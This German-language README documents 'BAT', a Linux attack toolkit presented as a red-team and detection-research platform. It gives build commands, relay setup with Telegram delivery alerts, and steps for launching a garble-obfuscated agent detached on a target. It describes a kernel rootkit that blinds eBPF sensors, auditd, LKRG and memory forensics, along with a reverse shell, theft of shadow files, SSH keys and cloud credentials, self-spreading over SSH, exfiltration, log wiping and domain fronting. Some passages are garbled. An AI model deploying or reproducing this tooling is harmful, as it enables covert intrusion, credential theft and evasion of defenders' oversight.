
Vollspektrum-Linux-Angreifersimulationsplattform mit Kernel-Level-Tarnung, C2-Beaconing, Privilegienerweiterung, Anmeldeinformationsernte, lateraler Bewegung und Artefaktzerstörung. Entwickelt für Red-Team-Operationen und Erkennungsforschung.
BAT ist ein realistisches, sich weiterentwickelndes Bedrohungsmodell für Angreifer unter Linux und Windows. Es ist kein C2-Framework und kein Rootkit. Es ist eine vollständige Bedrohungssimulationsplattform, die C2-Kommunikation, Kernel-Level-Stealth-Rootkit-Module, Evasion im Userspace, Privilegienausweitung, Persistenz, Prozessinjektion, Ernte von Anmeldedaten, Exfiltration und laterale Bewegung in einem einzigen, kohärenten Gegner vereint. Das Designziel ist es, die ausgeklügeltste und realistischste Linux-Bedrohung zu sein, die im Jahr 2026 möglich ist, unabhängig davon, was ein Erkennungssystem derzeit aufspürt.
Es ist die Gegnerseite eines Forschungspaares. Das Aura-Framework entwickelt sich weiter, um Bat zu erkennen. Bat entwickelt sich weiter, um Aura zu entgehen. Der Gegner wird niemals durch den Detektor eingeschränkt.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. Konfigurieren```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
Generieren Sie ein Geheimnis: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
Binärdateien landen in `bin/`.
### 4. Relay starten```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
Einen Agenten auf dem Ziel bereitstellen:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
Der Agent erscheint in bat-server als <agentID>@<hostname> innerhalb eines Beacon-Intervalls (Standard: 30 s).
Die Kernel-Stealth-Schicht (bat-stealth.ko, Quellcode in kperf-qos/) baut direkt auf Singularity auf, einem fortgeschrittenen Kernel-Rootkit-Forschungsframework. Vier Kernmodule wurden portiert und angepasst:
bpf_hook: Fängt bpf(2) und alle eBPF-Kommunikationsprimitive ab. Jeder eBPF-Sensor erhält keine Telemetriedaten für versteckte PIDs. Angepasst: ARCH_SYS("bpf") ersetzt den x86-spezifischen __x64_sys_bpf; __ia32_sys_bpf für ARM64 entfernt; HIDDEN_PORT durch eine sysfs-konfigurierbare globale Variable ersetzt.
hiding_fs: Komplette Dateisystemausblendung: getdents64/getdents-Filterung, stat/statx/newfstatat nlink-Anpassung, openat/access/faccessat /proc/<pid>-Blockierung, chdir- und readlink-Blockierung. Aus fünf Singularity-Modulen zusammengeführt (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink). Angepasst: -Makros ersetzen direkten Registerzugriff; erweitert für zur Laufzeit konfigurierbare .
hide_module: Entfernt bat-stealth.ko aus allen Kernel-Modul-Listen. Erweitert: Singularity speichert bereits list.prev; diese Version speichert sowohl list.prev als auch list.next und vergiftet beide, um Traversierung in beide Richtungen zu blockieren. module_unhide() für reversible Entfernung hinzugefügt, erforderlich von K-99, bevor delete_module(2) das Modul anhand des Namens finden kann.
lkrg_bypass: Unterdrückt LKRG-Erzwingung für versteckte Prozesse: Hooks zur Signalzustellung, um SIGKILL für versteckte Tasks zu blockieren, Hooks auf vprintk_emit, um LKRG-Protokollmeldungen zu verwerfen, deaktiviert UMH-Validierung während der Agentenausführung. Direkt ohne architektonische Änderungen portiert.
Die folgenden Module wurden unabhängig entwickelt:
become_root: Signal-59-Hook, der commit_creds(prepare_kernel_cred(NULL)) aufruft, um uid=0 zu gewähren (K-03)selfdefense: Blockiert LiME-Speichererfassung, verbirgt kallsyms-Einträge, blockiert kprobes auf Agent-Symbolen, blendet das Modul bei jedem Aufzählungsversuch erneut ausaudit: Unterdrückt auditd-Ereignisse für versteckte PIDssysrq_hook: Fängt SysRq-T ab, um versteckte Prozesse von Task-Dumps auszuschließentaskstats_hook: Filtert NETLINK taskstats-Antworten für versteckte PIDsreset_tainted + clear_taint_dmesg: Setzt /proc/sys/kernel/tainted auf Null und filtert dmesg-Zeilen, die Modul-Ladehinweise enthaltenhooks_write: Fängt alle Kernel-Schreibpfade ab (write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 kompatibel), um Protokolleinträge, die Agent-Strings enthalten, zu verwerfen, bevor sie syslog oder journald erreichenpid_manager: Fork-Tracepoint zur Aufrechterhaltung des versteckten PID-Satzes über Kindprozesse hinwegDer gesamte Stack macht den Agenten und alle seine Artefakte unsichtbar für: ps, top, ss, netstat, lsof, Dateisystemtraversierung auf versteckten Pfaden, lsmod, sysfs, kallsyms, auditd, alle eBPF-Sensoren, LKRG, LiME und SysRq-Forensik.
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| Komponente | Rolle |
|---|---|
| `bat-agent` | Agent. Sendet Beacons, führt TTPs aus. Garble-vernebelt. |
| `bat-server` | Operator-Konsole. Interaktive CLI. Verwaltet alle Agents. |
| `netshell` | Auslieferungs-Binary. Sieht aus wie ein Systemtool; ist ein vollwertiger Agent. |
| `bat-rootkit.so` | LD_PRELOAD-Userspace-Rootkit. Versteckt Dateien, PIDs, Ports, Umgebungsvariablen. |
| `bat-stealth.ko` | Kernel-Stealth-Schicht (Singularity-basiert). |
| `kcc-server` | Relay-Dienst. Kompiliert `bat-stealth.ko` bei Bedarf für den laufenden Kernel des Ziels. |
| `relay/` | Relay-Infrastruktur: nginx, TLS, Setup, Sync, Auslieferungsskripte. |
---
## Umgangene Verteidigungen
| Kategorie | Verteidigung | Umgehungsmechanismus |
|---|---|---|
| Prozessüberwachung | `ps` / `top` / `/proc`-Auflistung | `hiding_procs.c`: `getdents64`-Hook entfernt Agent-PID-Einträge aus der procfs, bevor Userspace sie lesen kann |
| Prozessüberwachung | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | `hiding_procs.c`: `filldir`-Hook filtert PID-Präfixe aus allen readdir-Ergebnissen |
| Dateisystem | `ls` / `find` über Agent-Dateien und -Verzeichnisse | `hiding_fs.c`: `getdents64`/`getdents`-Hooks auf Zielpfaden; stat nlink entsprechend angepasst |
| Dateisystem | `lsattr` / `chattr`-Erkennung | `hiding_fs.c`: `ioctl`-Abfangen auf Agent-Dateipfaden |
| Dateisystem | `/proc/modules` / `lsmod`-Auflistung | `hiding_module.c`: entfernt `bat-stealth.ko`-Eintrag aus allen sysfs- und procfs-Modullisten |
| Netzwerk | `ss` / `netstat`-Portauflistungen | `hiding_net.c`: `tcp4_seq_show`/`tcp6_seq_show`-Hooks entfernen C2-Porteinträge aus der Ausgabe |
| Netzwerk | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: seq_file-Leseabfangen verwirft C2-Socket-Zeilen |
| Logs | `syslog` / `journald`-Schreibpfad | `hooks_write.c`: `write`/`splice`/`sendfile`/`tee`-Abfangen; Logeinträge, die mit Agent-Strings übereinstimmen, werden im Kernel verworfen |
| Logs | `io_uring` asynchroner Schreibpfad | `hooks_write.c`: `io_uring_enter`/`io_uring_enter2` abgefangen; ia32-Kompatibilitätspfad abgedeckt |
| Kernel-Sicherheit | `rkhunter` / `chkrootkit` | Modul vor `/proc/modules` versteckt; Agent-Dateien vor Dateisystem versteckt; null Warnungen bestätigt |
| Kernel-Sicherheit | ClamAV | Garble `-literals -tiny`-Verschleierung + keine eingebetteten Klartext-Strings; 0 Erkennungen bestätigt (DB 2026-04-20) |
| EDR / eBPF | eBPF-basierte Sensoren, die `/proc` lesen | Versteck-Hooks greifen auf Kernel-Ebene ein, bevor eBPF-Ringbuffer-Ereignisse erzeugt werden |
| Kernel-Introspektion | `ftrace` / `kprobes` auf Agent-Symbolen | `selfdefense`-Modul blockiert kprobe-Anhängen an Agent-Funktionsadressen |
| Kernel-Forensik | LiME-Speichererfassung | `selfdefense` blockiert Laden des LiME-Moduls und Zugriff auf rohe Speichergeräte |
| Kernel-Forensik | SysRq-T Task-Dump | `sysrq_hook` schließt versteckte Prozesse aus der von SysRq-T geschriebenen Taskliste aus |
| Kernel-Forensik | NETLINK taskstats | `taskstats_hook` filtert taskstats-NETLINK-Antworten nach versteckten PIDs |
| Kernel-Integrität | LKRG-Durchsetzung | `lkrg_bypass` unterdrückt LKRG-`SIGKILL`-Zustellung und verwirft LKRG-Lognachrichten |
| Audit-Subsystem | `auditd`-Syscall-Aufzeichnung | `audit`-Modul unterdrückt Audit-Ereignisse für alle versteckten PIDs auf der Kernel-Audit-Ebene |
---
## Syscall-Hooks
Alle Hooks werden von `bat-stealth.ko` bei Ladezeit über ftrace installiert. ia32-Einträge werden nur auf x86_64 kompiliert (`#ifdef ARCH_SYS_IA32`).
| Syscall / Funktion | Modul | Zweck |
|---|---|---|
| `getdents64` | `hiding_procs.c` | Verstecke Agent-PIDs aus `/proc`-Verzeichnisauflistungen |
| `getdents` | `hiding_procs.c` | 32-Bit-Kompatibilität: Agent-PIDs verstecken |
| `filldir` (readdir) | `hiding_procs.c` | Ergänzender Proc-Eintrags-Filter für ältere readdir-Aufrufer |
| `getdents64` | `hiding_fs.c` | Agent-Dateien aus Verzeichnisauflistungen verstecken |
| `getdents` | `hiding_fs.c` | 32-Bit-Kompatibilität: Agent-Dateien verstecken |
| `ia32_getdents64` | `hiding_fs.c` | x86-Kompatibilitäts-Syscall |
| `ia32_getdents` | `hiding_fs.c` | x86-Kompatibilitäts-Syscall |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | 32-Bit-stat-Abfangen für versteckte Pfade |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | 32-Bit-open/access-Abfangen |
| `ia32_readlink` | `hiding_fs.c` | 32-Bit-readlink-Abfangen |
| `ia32_chdir` | `hiding_fs.c` | 32-Bit-chdir-Abfangen |
| `ioctl` | `hiding_fs.c` | `lsattr`/`chattr`-ioctl auf Agent-Pfaden abfangen |
| `tcp4_seq_show` | `hiding_net.c` | C2-Porteinträge aus `/proc/net/tcp` verstecken |
| `tcp6_seq_show` | `hiding_net.c` | C2-Porteinträge aus `/proc/net/tcp6` verstecken |
| `bpf` | `bpf_hook.c` | Nulle Telemetrie für versteckte PIDs in allen eBPF-Programmen |
| `write` | `hooks_write.c` | Logeinträge mit Agent-Strings verwerfen, bevor sie syslog erreichen |
| `splice` | `hooks_write.c` | Gleiches Abfangen über den splice-Pfad |
| `sendfile` | `hooks_write.c` | Gleiches Abfangen über den sendfile-Pfad |
| `tee` | `hooks_write.c` | Gleiches Abfangen über den tee-Pfad |
| `io_uring_enter` | `hooks_write.c` | io_uring asynchrones Schreib-Abfangen |
| `io_uring_enter2` | `hooks_write.c` | io_uring asynchrones Schreib-Abfangen (v2-Syscall) |
| `sched_process_fork` (Tracepoint) | `pid_manager.c` | Versteckten Status über `fork`/`clone` vererben |
| `vprintk_emit` | `lkrg_bypass.c` | LKRG-Kernel-Lognachrichten verwerfen |
| `finit_module` / `init_module` | Agent (kcc-Lader) | Dateiloses Laden des Kernel-Moduls über `memfd_create` + anonymen fd |
---
## TTP-Referenz
| TTP | Name | Beschreibung |
|---|---|---|
| 1 | masquerade | Prozess-comm in `kworker/0:1` (oder benutzerdefiniert) umbenennen |
| 2 | reverse_shell | Reverse-TCP-Shell zu relay:4445 |
| 3 | memory_rwx | Anonymen RWX-Speicher zuweisen (Erkennungssonde) |
| 4 | shell_exec | Beliebigen Shell-Befehl ausführen |
| 5 | beacon | Sofortigen zusätzlichen Check-in erzwingen |
| 6 | persist | Persistenz installieren (cron / systemd / rc.local / openrc / profile / XDG-Autostart) |
| 7 | creddump | `/etc/shadow`, Bash-Verlauf, Umgebungsgeheimnisse, AWS IMDS sammeln |
| 9 | exec_chain | Prozesskette erzeugen (Erkennungssonde) |
| 10 | install_rootkit | `bat-rootkit.so` über `/etc/ld.so.preload` bereitstellen |
| 11 | inject + exit | Beacon- + rawsock-Threads in laufenden Prozess injizieren, dann selbst beenden |
| 20 | network_recon | ARP-Tabelle + TCP :22-Scan des lokalen Subnetzes |
| 21 | ssh_harvest | Private Schlüssel, known_hosts, authorized_keys, Konfigurationen sammeln |
| 22 | lateral_move | SCP eigene Kopie zu entdecktem Host über SSH, dann getrennte Ausführung |
| 23 | creddump_full | Erweiterte Credential-Ernte + Umgebungs-Fingerabdruck |
| 30 | exfil-file | Beliebige Datei lesen und base64-Blöcke über Beacon-Kanal senden |
| 31 | exfil-dir | Verzeichnis mit tar+gzip packen und über Beacon-Kanal exfiltrieren |
| 32 | exfil-auto | Konfigurierte Pfade überwachen und bei Änderung automatisch exfiltrieren |
| 34 | netmap | /16-CIDR auf aktive Hosts und offene Ports scannen |
| 35 | autospread | SSH-Lateral-Bewegung zu entdeckten Hosts mit gesammelten Schlüsseln; kopiert Agent und führt getrennt aus |
| 36 | smbprobe | SMB-Port-Sonde (:445) für Lateral-Bewegungskandidaten |
| 99 | kill | Leise Selbstbeendigung |
| 222 | destruct | Alle Artefakte entfernen, Speicher ausradieren, beenden |
| 1003 | K-03 (privesc) | Kernel-Signal 59 löst `commit_creds` auf uid=0 aus |
| 1099 | K-99 (unload) | Zweiphasiges Entladen von `bat-stealth.ko` über sysfs + rohes `delete_module(2)` |
Konsolenbefehle (im `bat-server`-Prompt):
- `kill`: TTP 99 an alle Agents
- `destruct`: TTP 222 an alle Agents
- `destruct @<agentID>`: gezielte Bereinigung
---
### KCC: Kernel Compile Cache
`bat-stealth.ko` wird bei Bedarf für den laufenden Kernel des Ziels kompiliert. Der Agent automatisiert den gesamten Ablauf zur Laufzeit; es ist kein vorgebautes Modul pro Ziel erforderlich:
1. **Kernel erkennen**: Der Agent liest `/proc/version`, um die exakte `uname -r`-Zeichenkette zu erhalten.
2. **Kompilierung anfordern**: Der Agent sendet die Kernel-Zeichenkette per POST an `kcc-server` (`:9444`) mit einer HMAC-signierten Anfrage.
3. **KCC-Server kompiliert**: Der Server baut `bat-stealth.ko` gegen die passenden Kernel-Header und cacht das Ergebnis nach Kernel-Hash.
4. **Modul-Bytes empfangen**: Die kompilierte `.ko` wird im Antwortbody zurückgegeben.
5. **Dateiloses Laden**: Der Agent erstellt eine anonyme Speicherdatei (`memfd_create`, Syscall 279 auf x86_64 / 319 auf ARM64), schreibt die Modul-Bytes hinein und ruft dann `finit_module` (Syscall 273 / 313) mit einem leeren Parameters-String auf.
6. **Registrierung**: Das Modul registriert alle Hooks und versteckt sich innerhalb von Millisekunden vor sysfs/procfs.
Es wird zu keinem Zeitpunkt eine `.ko`-Datei auf die Festplatte geschrieben. Das Modul verschwindet sofort nach dem Laden aus `/proc/modules`.
**Mindestkernel:** 6.x (K-00-Sonde; der Agent überspringt das Stealth-Laden auf älteren Kerneln).
**Getestet:** 6.1.0 (Debian 12 / Ubuntu LTS), 6.8.0 (Ubuntu 22.04 GCP).
---
## Build Profiles```bash
make lab SECRET=<hex> # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex> # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex> # ICMP trigger only, no UDP port exposure
Alle Profile erfordern SECRET=. Überschreiben Sie die Relay-IP mit RELAY=<ip>.
SHA-256(secret) signiert; Wiederholungen werden serverseitig abgelehnt.-literals-Verschlüsselung zur Kompilierungszeit. -X ldflags werden absichtlich vermieden (ldflag-Werte erscheinen im Klartext in Binärdateien).bat-server eingebetteten SSH-Reverse-Tunnel.relay/static/ ist das öffentliche Gesicht des Relays. Die Veröffentlichung enthält einen leeren Platzhalter. Ersetzen Sie index.html und unterstützende Seiten durch Ihre Deckidentität, bevor Sie sync.sh ausführen. Auslieferungsskripte (static/i, static/api/setup, static/api/v1/index.json) verwenden __CDN_DOMAIN__ als Platzhalter; setzen Sie CDN_DOMAIN= in build.env und sync.sh ersetzt es automatisch. Aktualisieren Sie relay/nginx/bat.conf mit der echten Domain in server_name und TLS-Zertifikatspfaden vor dem ersten nginx-Deploy.
Das CDN-Profil leitet den Agentenverkehr durch eine Edge-Proxy-Schicht. Der Agent verbindet sich über HTTPS mit der CDN-Domain; der Proxy leitet den Verkehr über den SSH-Reverse-Tunnel an den lokalen Listener des Relays weiter. Aus Netzwerksicht stammt der gesamte Agentenverkehr von CDN-Edge-IP-Bereichen und nicht von der Relay-VPS.
---
Wenn ein Ziel die Agentenbinärdatei vom CDN-Endpunkt abruft, wird sofort eine Auslieferungswarnung an einen konfigurierten Telegram-Kanal gesendet. Die Benachrichtigung enthält: Quell-IP, Zeitstempel, Anfragepfad, erkannte Architektur (x86_64/arm64), Dateigröße, User-Agent-String und CDN-Edge-Identifikator.
Der delivery-alert.service-Daemon überwacht das nginx-Zugriffsprotokoll und reagiert auf jeden Treffer gegen den Honey-Download-Pfad. Konfigurieren Sie dies während des Relay-Bootstraps:```bash
sudo bash -s -- --tg-token <BOT_TOKEN> --tg-chat-id <CHAT_ID> < relay/setup.sh
Anmeldeinformationen werden auf dem Relais in `/etc/bat/tg.env` geschrieben und über `sync.sh --tg` an alle Synchronisationsziele weitergegeben. Der Dienst startet automatisch und überlebt Relais-Neustarts.
---
## Haftungsausschluss
Diese Software wird ausschließlich für autorisierte Sicherheitsforschung, Angriffssimulation in kontrollierten Laborumgebungen und die Entwicklung von Erkennungs- und Reaktionsfähigkeiten entwickelt. Sie enthält funktionale Implementierungen von Angriffstechniken, darunter Kernel-Level-Rootkits, Prozessinjektion, Diebstahl von Anmeldeinformationen und laterale Bewegung. Die Bereitstellung auf einem System ohne ausdrückliche schriftliche Genehmigung des Systemeigentümers ist nach den geltenden Gesetzen gegen Computerbetrug und -missbrauch in den meisten Rechtsordnungen illegal.
Die Autoren übernehmen keine Haftung für etwaige Schäden, rechtliche Konsequenzen oder Schäden, die aus der unbefugten, fahrlässigen oder böswilligen Nutzung dieser Software entstehen. Durch die Nutzung dieser Software bestätigen Sie, dass Sie ein qualifizierter Sicherheitsexperte sind, der im Rahmen eines rechtmäßigen, autorisierten Umfangs handelt, und dass die volle rechtliche und ethische Verantwortung für deren Nutzung allein bei Ihnen liegt.
Diese Software darf ohne vorherige schriftliche Zustimmung nicht an Dritte weitergegeben, veröffentlicht oder offengelegt werden.
REGS_ARGnshould_hide_path()bat_hidden_paths[]| ATT&CK-ID | Technik | Bat-Implementierung |
|---|
| T1036.005 | Maskerade: Übereinstimmung mit legitimem Namen | TTP 1: prctl(PR_SET_NAME) auf kworker/0:1 |
| T1055 | Prozessinjektion | TTP 11: Shellcode + rawsock-Thread in laufenden Prozess injiziert |
| T1205.001 | Verkehrssignalisierung (Magic Packet) | UDP/ICMP-Trigger weckt Agenten aus Ruhezustand |
| T1071.001 | Webprotokolle C2 | HTTPS-Beacons über :443 oder :9443 |
| T1573.001 | Verschlüsselter Kanal: Symmetrisch | HMAC-SHA256-authentifizierte Beacons über TLS |
| T1090.004 | Proxy: Domain Fronting | CDN-Profil leitet Agentenverkehr über eine Edge-Proxy-Schicht |
| T1574.006 | Ausführungsentführung: LD_PRELOAD | TTP 10: bat-rootkit.so über /etc/ld.so.preload |
| T1014 | Rootkit | bat-stealth.ko: verbirgt PIDs, Ports, Dateien, Modul, sich selbst |
| T1562.001 | Beeinträchtigung von Verteidigungsmaßnahmen: Werkzeuge deaktivieren | bpf_hook blendet eBPF-Sensoren aus; lkrg_bypass deaktiviert LKRG |
| T1562.012 | Beeinträchtigung von Verteidigungsmaßnahmen: Linux-Audit deaktivieren | audit-Modul unterdrückt auditd-Ereignisse für versteckte PIDs |
| T1068 | Privilegieneskalation durch Ausnutzung | K-03: Signal 59 löst commit_creds auf uid=0 aus |
| T1543.002 | Systemprozess erstellen/ändern: Systemd | TTP 6: systemd-Unit-Persistenz |
| T1053.003 | Geplanter Task: Cron | TTP 6: Crontab-Persistenz |
| T1070.002 | Linux-Protokolle löschen | clear_taint_dmesg filtert dmesg; reset_tainted setzt Taint-Flag zurück; hooks_write verwirft Protokolleinträge im Kernel |
| T1070.004 | Indikatorentfernung: Dateilöschung | TTP 222 Destrukt: vollständige Artefaktlöschung |
| T1003 | Credential Dumping | TTP 7/23: /etc/shadow, Shell-Verlauf, Umgebungsgeheimnisse |
| T1552.004 | Ungesicherte Anmeldeinformationen: Private Schlüssel | TTP 21: SSH-Schlüssel, known_hosts, Konfigurationen |
| T1552.005 | Cloud-Instanzmetadaten | TTP 23: AWS-IMDS-Anmeldeinformationsernte |
| T1018 | Remote-Systemerkennung | TTP 20/34: ARP-Aufzählung + /16-CIDR-Scan |
| T1046 | Netzwerkdienst-Scanning | TTP 20/34: TCP-Portscan entdeckter Hosts |
| T1021.004 | Laterale Bewegung über SSH | TTP 22/35: SCP selbst auf entdeckten Host, getrennte Ausführung |
| T1078 | Gültige Konten | TTP 22/35: laterale Bewegung verwendet geerntete SSH-Schlüssel |
| T1048 | Exfiltration über alternatives Protokoll | TTP 30/31/32: Datei- und Verzeichnisexfiltration über Beacon-Kanal |
| T1059.004 | Unix-Shell-Ausführung | TTP 4: beliebige Befehlsausführung |
| T1027 | Verschleierte Dateien oder Informationen | garble -literals -tiny -seed=random; XOR(0x5A)-Konfigurationskodierung |
| T1620 | Reflektives Code-Laden | TTP 11: Shellcode im Adressraum des Zielprozesses ausgeführt; bat-stealth.ko über memfd_create geladen |